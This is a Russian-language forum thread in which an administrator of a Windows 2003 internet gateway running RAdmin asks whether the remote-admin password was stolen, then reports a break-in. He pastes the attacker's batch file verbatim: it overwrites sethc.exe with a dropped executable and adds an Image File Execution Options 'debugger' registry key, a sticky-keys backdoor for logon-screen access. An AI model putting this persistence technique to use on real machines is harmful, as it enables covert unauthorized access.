Безопасен ли радмин?

[Дятел81]

Есть комп работает как маршрутизатор - раздает инет.
Windows 2003, UserGate 2.8, RAdmin 2.1.
Tiny Personal Firewall 4.0 включена только наполовину(трафик не фильтруется),
так как непонятно почему режет нужный трафик.

На днях появился в RAdmin Current connections неизвестный(не наш) ай-пи в режиме передачи файлов,
поменял пароль на RAdmin и перезапустил сеть(чтобы соединение отрубилось).

Мог ли кто-нибудь перехватить сетевые пакеты RAdmin и узнать пароль?

[Vose]

http://bugtraq.ru/rsn/archive/2004/02/28.html, или вот ещё, например:
http://forum.antichat.ru/threadnav13658-1-10.html
можешь и и сам погуглить по словам "взлом Radmin"

[Дятел81]

у меня по ходу серевр инета взломали
щас проверяю антивирусом cureit
нашло заразу у нового пользователя windows first

в каталоге пользователя first лежит батник 1.bat и файл 222.exe
текст батника:
copy 222.exe %systemroot%\system32\dllcache\sethc.exe & copy 222.exe %systemroot%\system32\sethc.exe & copy 222.exe %systemroot%\Cluster\222.exe
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe] >>1.reg
echo "debugger"="c:\\windows\\Cluster\\222.exe" >>1.reg

regedit /s 1.reg
del 1.reg

а также в каталоге пользователя C:\Documents and Settings\First\
rad.exe (Program.RemoteAdmin Контейнер содержит инфицированные объекты) - cureit его переместил

Что теперь делать?
Проверяю щас на вирусы, буду ставить файрвол Outpost, также ищу антивирус помоднее...